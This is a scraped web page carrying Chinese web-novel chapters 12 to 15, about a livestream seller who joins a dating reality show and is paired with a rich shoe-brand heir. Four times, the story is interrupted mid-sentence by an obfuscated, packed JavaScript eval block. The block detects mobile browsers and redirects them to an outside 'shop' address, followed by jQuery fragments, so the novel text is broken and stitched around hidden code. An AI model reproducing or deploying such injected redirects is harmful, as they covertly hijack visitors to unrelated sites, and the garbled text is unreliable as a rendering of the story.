;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634473|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿的担心。因为过早地遇到瓶颈这个问题，她从直播间的销售额也能看得出。 “我懂，所以不和MCN公司合作的话，就得想点别的办法被更多人看见。”说着，林穗将手机递给了菲儿：“看看这个。” “企鹅视频的恋综招商计划？”菲儿有些不明所以，冥思苦想了半天，方道：“……你该不会是想让你们厂长给这部综艺做服装赞助吧？这门槛也太高了，不太可能实现啊……” 林穗摇摇头：“不是这个。你看海报上的副导演是谁。” “Monica赵，Mo姐？！” “对，就是她。”林穗说，“这就是我突破关注量瓶颈期的计划——我去找Mo姐，报名这档恋综。” 菲儿被震惊得一度说不出话，她印象中自家姐妹温温柔柔的，不是什么“狠人”，现在不知道怎么了，一下子就要干件“狠事”。 “坦白讲，信息量有点大，我的CPU一时处理不过来……”菲儿自行冷静了片刻，又严肃道：“小穗，你究竟是怎么想的？参加恋综是件风险很高的事，随时都可能被无数人非议，不是人人都有那么强悍的心理素质的。而且我们之前骗了Mo姐，你还找她报名，确定吗？” 林穗整理了一下思路，冷静道：“你的考虑都有道理，菲儿。不过我也来慢慢解释一下我对这两个问题的想法吧。第一个问题，关于我为什么要去……” 林穗：“我观察过和我同类型博主的涨粉规律，也计算过工厂未来可能会给到我的提成，得出的结论是：按照现在的路数本本分分砸时间做下去，必然会有积累到一定财富的那天。但这个时间太久了，你读研就是这一两年的事，咱们耗不起。” 林穗：“第二个问题，关于为什么去找Mo姐。现在的恋综嘉宾越来越内卷，直接投简历报名，我并没有很大的把握一定被选上，所以必须找到一个能撬动这件事的支点……” 菲儿皱眉着急道：“可是我们得罪过Mo姐，她不记恨我们就不错了，难不成还会帮我们吗？小穗，我是需要钱，但我不想看你受委屈。” 林穗道：“被‘记恨’并不是最糟糕的状况，没印象才是。菲儿，我接下来的计划还需要你帮忙，咱们全力配合吧。” 12. Chapter 12 Mo姐曾经发朋友圈表示她每个月的最后一天都会在同一家酒店和姐妹们小聚一场——没错，就是林穗和菲儿被赶出来的那一家。 在去酒店门口堵Mo姐之前，林穗请菲儿帮自己搞定妆造。菲儿还是选用了她认为最适合林穗的复古港风美女风格。 “小穗，你愿意试一试，我肯定百分之一万地支持，还为你的冲劲儿感到高兴。但你答应我，要是她不给你好脸色看，咱转头就回来，别受委屈，知道吗？”菲儿一边帮她卷着头发，一边担忧地说。 林穗笑笑：“知道啦。” “其实，以前你跟我说被上一份工作折磨得无比痛苦，我心疼归心疼，好像也没法完全理解。但现在我理解了。”许菲儿感慨道，“你的本性应该是像现在这样，敢说敢想敢干，无论遇到什么困难都会想尽办法盘活局面，直到找见一条出路。可那份工作、那个部门和你身边的那些人偏偏捆住了你的手脚，也捂住你的嘴，甚至试图挡住你看向外面世界的眼睛……还好你现在出来了，找到了自己的路。” 是啊，还好已经出来了。 动身之前，林穗当然也做了一些物质材料上的准备。她花750块钱原价买下了工厂出厂成本最高的一条连衣裙。据技术科的姐妹说，那是他们师傅的炫技之作，不论拿到什么场合都绝对不会丢面子。 林穗“潜伏”在酒店门口，从晨光熹微的清早一直挨到烈日当空的正午，才终于等到从一辆帕拉梅拉上走下来的Mo姐。 Mo姐一下车，就把手上的大包小袋交给了门童。 林穗走上前去：“Mo姐，打扰了，我是小林，您还记得我吗？” Mo姐看着她的脸，疑惑了片刻方才想起那段不愉快的回忆，转而用十分厌恶的语气道：“你有什么事情？又想来这里骗谁？上次我已经给你们留够面子了，再过来我就报警抓你们！” Mo姐确实气得不轻。其实对于她这样的成功人士来说，损失的那点钱压根不算什么，但就是忍不了自己被人骗得团团转。 见林穗还没有走的意思，Mo姐更生气了，招手叫起了保安：“保安，麻烦把这位请走，让她不要再来骚扰我了，谢谢。” 眼看着两名保安步步逼近，林穗高声喊道： “Mo姐，我是来向您道歉的，也是来向您道谢的——谢谢您和容姐及时制止了我们走弯路。我现在在一家工厂学习服装知识，不会再犯以前的错了。” Mo姐本来头也不回地径直往酒店大堂里走，可听到林穗的喊话，她停住了脚步，转眼看向她。 林穗知道有希望了，这块坚硬的石头已经被她凿出了一条小小的缝隙。 她举了举手中的手提袋，接着说：“Mo姐，您方不方便给我个机会，让我把之前您买衣服的钱还给您，顺便把我们厂里技术科师傅最心爱的作品送给您作为补偿？” Mo姐思忖了片刻，不咸不淡道：“等我忙完再说吧。” 说罢，便拂袖而去了。 就这样，林穗又从中午一直等到夜色降临。 林穗手中的连衣裙是很有分量的，面料本就扎实，加之上半身有十分重工的钉珠作为装饰，拎上一会儿手臂就酸了，掌心也勒出了深深的红痕。 怕包装袋放在地上会沾到灰，林穗始终不敢懈怠。她拎累了就抱一会儿，抱累了就拎一会儿，交替了不知道多少轮后，Mo姐才再度出现。 Mo姐把一个个微醺的友人尽数送上了车，自己是最后一个走的。 看到不知何时出现在她身旁的林穗，Mo姐一惊：“你怎么还在这儿？” 林穗笑笑：“您说过忙完之后跟我说的呀。” 伸手不打笑脸人，Mo姐本身也并不是个完全不近人情的冷漠之人，便只得回应道：“算了，跟我进来吧。” 跟Mo姐来到酒店空无一人的宴会厅后，林穗率先拿出的是一枚装着现金的牛皮纸信封。 “这里是您之前付给我们的钱，我们撒了谎，理所应当把钱退还给您。”林穗说，“咱们微信已经不是好友了，没法线上转账就用了现金。抱歉，添麻烦了。” Mo姐丝毫没有要收下那钱的意思：“不必了，我花了钱，但也拿到了衣服，算是钱货两讫。你说你现在在工厂打工，是做什么？” 林穗：“在服装厂做电商，主要负责直播、拍模特图和淘宝店铺推广这三件事。” Mo姐：“这样啊，那挺好，肯学肯做走正路就好。” 林穗：“嗯，也多亏之前遇见了您和容姐，我们才没有一错再错下去。其实那件事情过后我也想了很多——容姐作为一个消费者，尚能如此熟知服装的剪裁知识，我们作为为他人提供服装的人，就更应该走在消费者前面，以专业服人，而不是只做一个不接触生产、纯靠低买高卖赚钱的二道贩子。” 她讲到这里，Mo姐脸上的表情明显缓和了许多，不再有任何对抗情绪，而是呈现出一种听故事的姿态。 林穗：“所以我决定去服装产业链的最初始一环——生产端开始做起。在厂里工作几个月，我确实从身边的人和事当中学到了很多。今天带给您的就是我们厂技术科师傅最满意的作品。” 说着，她从手提袋中取出那条连衣裙，以十分专业的角度从面料材质、剪裁工艺、美学设计、配件选用等方面向Mo姐详细介绍起这条裙子。 Mo姐毕竟是识货的人，一眼就能辨别出来这是好东西。认真听完了林穗的介绍后，目光更是无法从这件精品上移开。 “这条裙子一来代表我们的歉意，二来也是谢谢您肯宽容我们这些犯了错的年轻人。作为工厂的一份子，要是您喜欢的话，我就再开心不过了。”林穗说。 Mo姐当然喜欢了，但也不好意思白拿小年轻的东西，于是执意要付钱给林穗：“多少钱？我给你，当是我买的。” 林穗摇摇头，笑道：“Mo姐，它是件礼物，礼物不是用钱支付的，是用喜欢支付的。您刚刚已经支付过了呀。” Mo姐终于露出了笑容，无奈道：“好吧好吧，那就谢谢你啦。小林啊，我之前以为你挺内向、不爱说话来着，没想到聊起天来是一套又一套啊。” 林穗也笑笑：“您还真没看错，我平时是挺内向的，但面对投缘的前辈，总是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634474|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住说个不停……” Mo姐闻言开怀大笑起来，彻底放下了戒备。 不知为何，说这句话时林穗感觉自己像被金鑫附了体，难道是观察久了终于看会了？ Mo姐也是直爽性子，不怎么记仇。今晚聊得开心，便又同林穗亲近了起来，主动表示家里的司机晚上会来接她，可以送林穗一程…… 林穗今天很晚才到家。正如她所料，菲儿一直在等着她。 “怎么样了？”菲儿帮她拿来拖鞋，紧张地问道。 林穗身心俱疲，抱住了菲儿。说了太多话，嗓子都有点哑了：“今天真是累啊……” 菲儿以为她沟通失败了，忙轻拍着她的后背，安慰道：“没事的没事的，尽力就好。她们那种人有一点钱就高高在上，心眼比针尖儿还要小，拒绝别人再正常不过了……你千万别放在心里，失败乃成功之母……” 林穗笑笑：“谁说失败啦？” “什么意思？”菲儿难以置信道。 “我成功啦，下周进组。” “天呐……”房间里充满了菲儿的尖叫声，“快跟我说说你是怎么做到的！” 虽然已经累到闭上眼就就能一秒入睡，林穗还是强打起精神来，给菲儿复述了事情的经过： 她上了Mo姐的私家车后，便同Mo姐提起自己对她导演的恋综感兴趣，想要参加。 Mo姐惊愕，应该也有些反感，可两人毕竟刚才还相谈甚欢，于是她没有打断林穗，容她说了下去。 林穗的心态没有受到对方短暂情绪波动的影响，因为她深知，只要对方还允许她说话，这一场交流便有了成功的根基。 “那我也直说了，恋综嘉宾不是外形合格就OK的，还需要有别的亮点。你认为你外形以外的优势是什么？”Mo姐问她。 这个问题有现成的答案——抄聂浔的作业呀！ 聂浔讲话不好听，三观也不怎么正面，但作为一个深耕互联网传播多年的专业人士，他毕竟还是会抓亮点的。 林穗在回答Mo姐时，便引用了很多他那天和自己说的话。 最后，林穗又补充了一段自己的观点：“这档恋综前三季的初始热度基本都源于对嘉宾们精英化身份的讨论。只要前两集一出，网上的博主们就会开始吐槽他们的‘精致’生活、玩梗他们中英夹杂的语言模式。但同样的套路重复太多次，大众的反应也会越来越平淡。第四季可能需要一些新鲜的东西供大家讨论了。” “你身上‘新鲜的东西’是……？” “我是个‘厂妹’，一点也不精英。只要和别人对比够强烈，观众就会感到够新鲜。”林穗坦然道。 “你很想红吗？” “是的，很想。” Mo姐笑着摇摇头，轻声嘟囔了一句：“还真是像我年轻的时候……” 这就是事情的全部经过了。 菲儿听完之后朝林穗直竖大拇指：“小穗，你太强了，换作是我还真做不到。” “菲儿，你有时间吗？明天我们一起研究一下第一集的出场造型吧。” “遵命！”菲儿说。 13. Chapter 13 这部恋综取了个韩剧的名字——《都市男女的恋爱法则》。 或许是因为男女嘉宾们大多都在上海工作，又或许是出于预算控制的考虑，第四季的主要拍摄地点定在了崇明岛上一座度假庄园。 和前三季一样，节目组总共邀请了四男四女，观众依据他们在官博上公开的顺序将他们依次编号为男一二三四和女一二三四。林穗是女四。 嘉宾们的风格分类还是蛮明显的： 男一Jasper和女一陈璇是金融精英，属于传统恋综的主流选手，一经亮相就有无数人叹服于他们强悍的人生履历，感慨“满级人类进化时怎么没带上我”。 男二阳仔和女二温小雪属于“网红”赛道，两人分别是美食博主和美妆博主，都有好几百万粉丝，吸金能力强大。来这里的目的估计和林穗差不多，都是想再赚一波流量。 男三路乔和女三赵语晴是创业大佬。路乔在北京上海都有自己的留学咨询公司，赵语晴则专注餐饮——在美国开连锁中餐厅，在国内一二线城市开精品西餐厅。 只有第四组的履历最为寡淡。雪上加霜的是，男四由于还在广东出差，表示没空配合官博营业，甚至直到现在连名字和职业都还未公布。 网友们纷纷猜测：别看前三组的光环唬人，搞不好真正的隐形大佬是第四组。不然女四一个“工厂厂妹”是怎么挤进这场高端局的？不然男四为什么如此嚣张，说不公开就不公开，还能绑架着节目组官博一起不公开？事出反常必有妖！ 这届网友的行动力也是惊人的，大家伙儿说开扒就开扒。 而由于男四未曾透露任何具体信息，大家就把八卦的熊熊烈火燃到了林穗一个人的头上。 “这么漂亮的女生，还是985本硕，现在在工厂工作？今年的就业形势已经是这样了么？” “那又怎么了？今年都2024年了，学历本来就通货膨胀，硕士也没那么高贵。而且工厂员工是什么糟糕的职业吗？劝部分年轻人不要眼高手低！” “糟不糟糕你说了又不算，是要和人家之前的工作比吧！女四之前是做财务的，舒舒服服在办公室吹空调，到了工厂搞不好还要下产线，相比之下当然是走下坡路喽。” “额……我就是会计专业的，我想说财会工作真的不是你们想象的那么舒服。搞不好人家就是受不了财会的辛苦才进工厂的……” 关于林穗的讨论，到后来已经完全从娱乐版块转移至社会板块了。八卦群众们不再八卦，而是纷纷投身这两个社会议题的论辩： 一，985本硕进工厂究竟算不算一种下沉？ 二，财会类专业到底是不是一个好专业？ 到后来，这两个话题甚至轮流登上了微博热搜，还有专家现身参与讨论。 看着这局面，林穗一时间有点怀疑自己参加的不是恋综，而是《令人心动的offer》。 不过也无妨，只要能带来流量，不论他们讨论自己什么她都乐见其成。 这部综艺的带动效果还是很给力的，林穗被公开后不到一周，小红书就涨了好几万粉。就连最新一次直播，最高在线观看人数也有十几万之多，当晚的营业额终于突破了八万元的瓶颈。 知道林穗去参加这档综艺后，整个工厂的“娘家人”都在网上帮她“控评”——PMC（生产计划与物料控制）的姐姐们最擅长玩小红书，一直在上面发帖夸她；生产部的叔叔阿姨们也学着下载了微博，给节目组公开林穗的那条微博点赞留评；南叔和技术科的老师傅商量着为她量身打造几件穿着上节目的新衣服。黎诗然也是个外冷内热的，嘴上虽不说什么，可全平台关于林穗的信息下都有她转发的身影…… 她在工友们之中的绰号又一下子升级为“咱们厂的大明星”。 金鑫知道了这个消息后，震惊地在群里连刷了好几屏幕的表情包。 金鑫：“林老师怎么突然去参加恋综了？” 林穗开完笑道：“因为想谈恋爱了。” 金鑫：“很好，很好。到时候记得帮我师兄也物色一个。” 肖潜：“……” 金鑫：“他这种条件还母胎solo，只有发生在恋综里才不会被认为是‘杀猪盘’。” 肖潜：“……” 也正是在这个时候，菲儿在网上发现了一些恶毒的声音： 在一条夸赞林穗直播时既专业又亲和的微博下，有一个小号贴了张林穗在前司团建时的合影。合影中的其他人都被厚码，只有当时还黑黑胖胖的林穗露着脸。那小号还评论说：“你们口中的‘大美女’原装版长图里这样，不知道是躺了多少次冰冷的手术台才换成了现在这颗头。这种猪婆还有人夸，呵呵。” 菲儿反手把这位恶毒前司同事的ID和发言截了图，又截了一张工厂里小姐妹们鼓励林穗的发言，将它们一起贴在了《都市男女的恋爱法则》超话下，并回怼道： “不是都在好奇为什么宁可进工厂也不留在办公室里吹空调吗？这下懂了吗？PS：这位人丑心恶的前司同事，小穗之前在你司是属于‘过劳丑’，因为成天要和你们这帮不做人的家伙周旋。至于现在，只能说友好的工作环境是打工人最好的医美。我敢对天发誓她没有上过任何科技手段，否则我出门被车撞，你敢吗？” 菲儿这条微博一石激起千层浪，又被很多人转发至其他的平台讨论。 “原来是这样，遇见职场霸凌了啊，那我理解了……” “办公室的人际关系就是很内耗，看来打开思路、脱掉孔乙己的长衫是对的。林同学的做法值得借鉴。” “进工厂工作怎么就叫‘脱掉长衫’了？工厂又不是只有流水线上打螺丝这一个工种，还有设计、自动化、排产、成本会计等多个职务，这些岗位的学历要求最起码也是本科，不懂的不要瞎说！” “拜托有些人不要老是宣传让年轻人选择这种‘向下的自由’。女四自己是因为运气好才碰到了良心的工厂和工友，完全是幸存者偏差好嘛。垃圾黑工厂多得是，别骗大学生去冒险！” “我就一个问题，在工厂工作凭什么叫做‘向下’？？？” …… 就这样，林穗成功地在金融精英、创业才子、百大网红中成为了讨论度最高的那一个。甚至连本地的融媒体都要联系她做采访，只不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634475|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被她以工作太忙为由拒绝了。 到了正式录制的那天，三位男嘉宾和四位女嘉宾齐聚在节目组预定好的度假庄园里。 男四说好了今天的飞机抵达上海，可直到现在还是人影全无，气得执行导演差点在现场骂起人来。但拍摄日程是不可能再拖延了，于是在场的七个嘉宾就按照原计划开始了录制。 第一集的内容是大家初见面，边吃烤肉边熟悉彼此。 他们自然而然便形成了以下的分工： 美食博主负责烤肉，创业组分享他们环游世界的见闻，金融组回忆他们在藤校读书的日子，美妆博主给食物拍照、做捧哏，林穗默默吃着。 Jasper率先起了话头，聊到最想去旅行的城市：“现在就是工作太忙了，周末都得24hoursoncall。如果能休一个没有人可以找到我的longvacation的话，我还是想去Hawaii，因为大一的暑假就是在那边度过的，想去找找学生时代的回忆。” 陈璇：“我和Jasper一样，也是很念旧的，想回到留有过去回忆的地方。所以我选Liverpool吧，因为本科是在那边念的，也是很怀念。” 路乔：“啊，你是TheUniversityofLiverpool？我本科时候也去交换过哎。” 陈璇：“对，不过只是本科。我研究生就去美国了，在Wharton。” 温小雪夸张地鼓掌道：“哇，学霸耶，你们都是。” 赵语晴在镜头拍不到的角度微微翻了个白眼。 Jasper又招呼起了林穗：“对了林同学，今天晚上好像都没见你说话哎。你最想去哪个城市旅行呀？” 林穗：“北京吧。” 餐桌上突然一阵爆笑。 林穗：“怎么了吗？” 正在这时，一个健步如飞的身影步入了拍摄现场，想必是迟到的男四无疑了。 他甫一到场，连声招呼都没和别人打，便拿起桌上的矿泉水喝了半瓶。 林穗感觉这人有些眼熟，待他放下矿泉水瓶她才发现原来是宋洋。 世界可真小……这个恋综就是瑰丽文化拉给大少爷的资源吗？ Jasper像个主持人似的向宋洋招着手：“Hello，我们刚刚有调一些鸡尾酒，你喜欢什么口味的？” 宋洋今天状态不大对，像是刚跟谁大干了一仗。面对Jasper的热情，他也没什么耐心：“随便。” “新朋友自我介绍一下吧。”阳仔十分友善地递上一串刚烤好的肉，也被大少爷直接无视了。 “宋洋。” 场面顿时尴尬了起来。 Jasper还是没有放弃：“我们刚刚在讨论最想去哪个城市旅行，宋同学有什么看法呢？” “城市……”宋洋还沉浸在自己余怒未消的情绪里，“东莞，佛山，惠州！” 餐桌旁的其他人面面相觑，不知是谁惹了这位。 宋洋应该是真的对这个节目很不上心，至少是肯定没看过嘉宾公示的官博，所以在发现了林穗后才会直勾勾看向她：“你怎么也在？” 14. Chapter 14 “破冰夜”结束后，节目组安排八位嘉宾给自己心仪的对象发信息。 通过这种方式两两匹配成功后，彼此选中的男女嘉宾会在下一集进行约会，场地与项目自定。没被任何人选中的人则落单，由节目组带着夜游东方明珠。 林穗觉得“落单”非常好，因为东方明珠的夜景蛮出片，方便她穿着厂里的新款宣传一番。而且独自行动的话，所有镜头都会给到她一人。 她想了想，觉得大少爷宋洋一定是最不可能选自己的那一个： 一来大少爷心眼小，必然会对她上次在瑰丽文化弃他而去有所记恨。 二来凭她的推断，大少爷心仪的要么是和他一样出身经商世家的赵语晴，要么就是藤校毕业的海归精英陈璇。自己和人家的人生轨迹没有任何相似之处，选她的话俩人聊什么呢？聊她考研的艰苦经历？以少爷的身家，怕是连国内的中高考都没参与过。 总而言之，想要成功“落单”，选宋洋准没错。 然而万万没想到，在她发送完信息后，居然发现宋洋选的就是她？！ 林穗突然理解了一句话：人类一思考，上帝就发笑。自己方才还有模有样分析了半天，谁料对方完全不按常理出牌…… 累了，心累…… “今晚辛苦了，谢谢大家的配合！各部门收工吧，咱们下周再见。” 随着现场导演一声令下，所有人都从镜头下的“拍摄状态”回归了日常状态。 金融精英组一副刚加完班的疲惫模样，能看得出Jasper和陈璇都是把这节目当作一个项目来干的。 网红博主组不知疲惫地拍起了vlog，边拍边跟工作人员确认哪些信息是不涉密的，可以出现在他们的自媒体节目里。 赵语晴懒得多停留，结束后就迅速去找自家司机了。 路乔倒是绕到林穗身边，给她递上一瓶矿泉水：“刚刚看你手边只有鸡尾酒饮料，那个东西越喝越渴，还是喝点水吧。” “谢谢。”林穗说。 “你……真的是在工厂工作吗？”路乔试探道。 林穗平时很少相信直觉、第六感等词汇，但这个路乔确实让她感到气场有些不和。 “对，我们工厂在松江。”她回答说。 路乔“哦”了一声便离开了。 临走前，林穗还注意到了不远处花坛边独自打着电话发着火的大少爷： “我不管，我明天就是要去惠州，就是要见到他！他有什么可忙的？全世界只有他一个人在忙吗？我难道没有为了出差取消掉事先约好的美白针吗？厂长怎么了，我爸已经把这个品牌全权交给我了，谁敷衍塞责我照样让他走人……” 不得不说，他尖锐的嗓音发起疯来，就像只被踩到尾巴的猫。 宋洋气鼓鼓挂掉电话，一转身，也看到了林穗。 “喂，我还没问你，你那天为什么不和聂浔签约？和我组一对很丢脸吗？”少爷的怒火还在延续。 林穗就知道他忘不了这个事。 “没有，只是单纯地不想签MCN公司罢了。”她说。 宋少爷翻了个白眼：“我不管你是什么原因，总之下期节目我让你看看和我约会的体验到底有多爽。” 不对劲，真是不对劲…… 聂浔之前说过宋洋的实际年龄比林穗小六岁，怎么零零后的童年也是《流星花园》？不然宋洋这知识是怎么学杂的？ 剪辑和后期完成后，第一集顺利播出。 播出当晚，“北京怎么了”和“粤式大少爷”两个话题就飞速冲到了热搜榜第二和第三，“男四女四”再次以不同寻常的路数为节目带来了又一波讨论度。 同类型的恋综和职场综艺播出了那么多年，人民群众早就苦“矫情精英”人设久矣。 Jasper、陈璇这类人设如果往前推三四年，必然是节目中最吸粉的。但今时不同于往日，随着生活水平和文化自信的不断提高，大家对海外背景再也没什么滤镜，比起Liverpool的落日和Hawaii的夏天，很多人是真心更感兴趣北京的故宫和国博怎么才能抢到预约名额。 “怎么说呢，这类综艺上总有些人，给我一种中产强行装特权的不适感。”有人如是评论道。 “加一。而且‘北京’有什么好笑的？我和女四一样，我也想去北京。在线蹲一个ip京津冀的朋友安利点本地美食。” “你们有没有觉得女四身上那条红色连衣裙挺好看的？很优雅，而且颜色也不高调。蹲蹲品牌。” “就是她们厂自己做的，女四小红书有说，去她们淘宝网店就能买到，才两百多块。” “女四家的老客户来安利一下，大家放心冲吧，我在她们家买的衣服从来没有退过任何一件，每一样都超值。” “好看，真的好看。” 就这样，厂里的第二件爆款诞生了——《恋爱法则》女四同款连衣裙。 林穗的粉丝数也涨到了三十多万。 不过，有一个永恒的议题是乐子人网友们每季必扒的——嘉宾们究竟谁最有钱？ 女生那边不用多说，必然是餐桌上一言不发、冷眼笑看别人装腔的赵语晴。那男生呢？ 网友们很快就发现，蹦跶得最欢的Jasper并没有什么厉害的背景，单论收入，他那份光鲜亮丽的工作甚至不如博主阳仔； 而路乔是白手起家，公司尚没有做出什么规模，是宣传期间节目组帮他夸大了声势而已。真正的土豪其实是宋洋。 “男四的父亲叫宋峰，广东有名的民营企业家，上过好多次财经访谈。图里是从天眼查上查到的他和配偶所持股的部分企业。可以说，如果女孩子们想进商场买鞋，选择2000元以下平价品牌的话，有八成以上的概率会给他们家送钱；选择5000元以上精品品牌的话，如果取向不是那些洋奢侈品，也有很大概率走进他们家旗下的门店。” “那些说路乔最有钱的，你们知道宋洋在上海和杭州的家分别离陆家嘴三件套和西湖多远吗？” “但他说他最想去旅行的地方是‘东莞，佛山，惠州’哎，好接地气儿。” “他应该不是去旅行，而是去那三个城市看自家供应商的工厂。有一说一，他蛮符合我身边广东富二代同学的特征的——手里有再多钱也不会停止赚钱的脚步。” “好家伙，货真价实的‘粤式大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634476|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少爷’……” “真的吗？我突然觉得他有点可爱了！宋少爷长着一张会在101系选秀节目里为了出道疯狂医美、麦麸，和同期竞争者上演甄嬛传的绿茶脸，没想到是个成天往工厂跑的‘准企业家’啊……” “既然都喊女四‘厂妹’，那我也封他为‘厂弟’。节目组人员剧透说下一集他俩互选了，提前买股一下‘厂弟厂妹’cp吧。” 于是，播放平台又涌现出很多“期待厂弟厂妹cp”的留言，数据一下子上去了。 Mo姐看着数据周报，拍拍心口，心想自己这次果然没赌错。 宋洋把约会地点定在了苏州一家依山傍水的私房菜馆。 这间小馆人均消费2000+，节目组表示预算有限，还得拿一部分出来做异地拍摄的差旅费。宋少爷大手一挥表示本场的消费全部由他买单，工作人员们也尽情吃好喝好。因此第二集的苏州之旅也就美美成行了。 林穗一看地点在苏州，便向厂长申请了一天外勤，打算带上几套厂里试水新中式的新款，顺便拍一下宣传图。 林穗到达私房菜馆时摄制组还没有赶到，包厢里只有她和宋洋两人。 上周还扬言要“让你看看和我约会的体验到底有多爽”的宋少爷如今郁郁托着腮，像是被抽空了精气神儿。 “你还好吗？身体不舒服啊？”沉默了二十分钟后，林穗感到如果再不说话，气氛实在是太诡异了。 “我问你一个问题……”宋洋以沉重而严肃的语气开口道。 “什么？”他一反常态的态度搞得林穗莫名紧张。 “究竟是什么样的人会穿着老爹鞋走一万步啊？”他一脸哀怨，表示自己无法理解。 其实宋洋现在的焦虑表现都是有原因的。 自打两年前交给他运营的工厂出了生产事故，父亲就停了他在自家企业的工作，让他爱玩什么就玩点什么去。 现在他好不容易争取到“重新做人”的机会，从父亲那里要来了自家最平价的一个品牌——MiniMiss，即小小姐鞋业，打算一雪前耻，谁料推出的第一款老爹鞋就引发了公关危机。 “她们都骂这双鞋子走路会磨脚，可老爹鞋又不是专门的运动鞋，本来起的就是一个造型上的作用啊，为什么要用它走那么远的路？”宋洋怨怼道，“要暴走，她们应该去买运动品牌的慢跑鞋！” 林穗终于知道宋洋这两天的怒气是从何而来的了。 琢磨着宋洋的话，她突然想起有一次和南叔喝茶聊天时，南叔感慨：“现在有些什么‘品牌主理人’，他们的生活经验太少，既没有做过每天挤公交地铁上下班的打工族，又没有在产线上干过，所以策划的产品总是天马行空，好看归好看，生活中却难穿难用。我之前看到一个年轻人设计的通勤装，半身裙短得不得了，让人穿了腿都不敢抬，更别提上下楼梯了。想想原因，大概是因为她自己是开着豪车上下班的，每天就是从自家地库到工作室地库，从来没想过坐地铁上下班的女孩子是要乘坐地铁站扶手梯的，穿这么短该多不方便……” 思考了片刻后，林穗问宋洋：“怎么定义‘走得远’呢？一万步以上就算‘远’吗？” 15. Chapter 15 宋洋道：“我知道你想说什么。一万步，去徒步的话当然不算远，可是日常生活中谁会天天出门走一万步？而且我做品牌营销的时候一直很坦白啊，‘小小姐’这个条线就是平价时装款，我家也有专门的运动品牌，需要的话去买那些不就得了？” 嗯，“何不食肉糜”的鞋厂版——林穗这下敢确定少爷对凡间的情况全然无知了。 “这可是我自己设计的第一款鞋子，花了将近一年的时间。你知道我跑了多少趟首尔东京、探了多少家买手店才出的设计初稿吗？这么好看的鞋子，光买个造型也值了，居然又苛责起舒适度来……简直是去麦当劳柜台点老北京卤煮——离谱！” 他喋喋不休地抱怨着，能看得出少爷受这件事的打击确实不小。 说到底，这是一个时尚品牌的市场策略问题，林穗乐意参与这样的讨论。 “现在离开始录制还有一段时间，要不我们去实测一下‘走一万步’的生活场景，如何？”林穗提议道。 “测就测。但前提是一定要生活化的合理场景，专门去公园跑圈不算。”宋洋道。 “没问题。” “等一下，这趟可不能白跑，得赌点什么。”宋洋想了想，说：“要是你无法论证你的观点，下一集就穿我们家的鞋子，帮我带带货。” “可以。”林穗欣然应允，“要是我能证明呢？” “我就去给你当一天主播，帮你卖衣服。” 这时，包厢的门被推开：“哎？你们到得怎么比我还早？” 来者是摄制组的实习生小金，她没有跟着正式职员的大部队走，而是扛着机器、独自乘坐高铁提前赶到。 得知林穗和宋洋的赌约，小金也决定扛起机器跟他们同去。 她打开设备，发现两名嘉宾虽然尚未妆造，几乎是素面朝天，但由于状态都很放松，一同出现在镜头下时氛围意外地轻松和谐。 全都录下来吧，她想，说不定嘉宾们“自由发挥”的片段更受领导们喜欢呢。 “那就开始喽。”林穗说，“这里是老城区的边缘，假设我们住在这边，现在要去工业园区上班，路上只能乘坐公共交通。” 为了更真实，林穗随机选取了一家坐标工业园区的外企。 宋洋用手机地图查看一番，道：“地铁就可以。我先叫个车去地铁站，稍等。” “出租车不能算公共交通。况且从这里打车到地铁站要二十多，往返两趟，一天就要小五十，对刚工作的年轻人来说实在有点奢侈。坐公交吧。”林穗道。 林穗的想法完全没错。因为从商品定价上不难看出，“小小姐”的目标客户群体并不是已经拥有一定经济能力的中产，而是预算有限但有审美需求的学生党、职场新人。 集团旗下其他平价通勤品牌的定价范围普遍在春夏款500-1000元，秋冬款800-2000元。而“小小姐”在宋洋推出这款上新优惠价就高达698元的老爹鞋之前，春夏款普遍在200-300元，秋冬款最贵也不过五百多元。 要复原产品的应用场景，一切消费习惯当然得按照用户画像来。 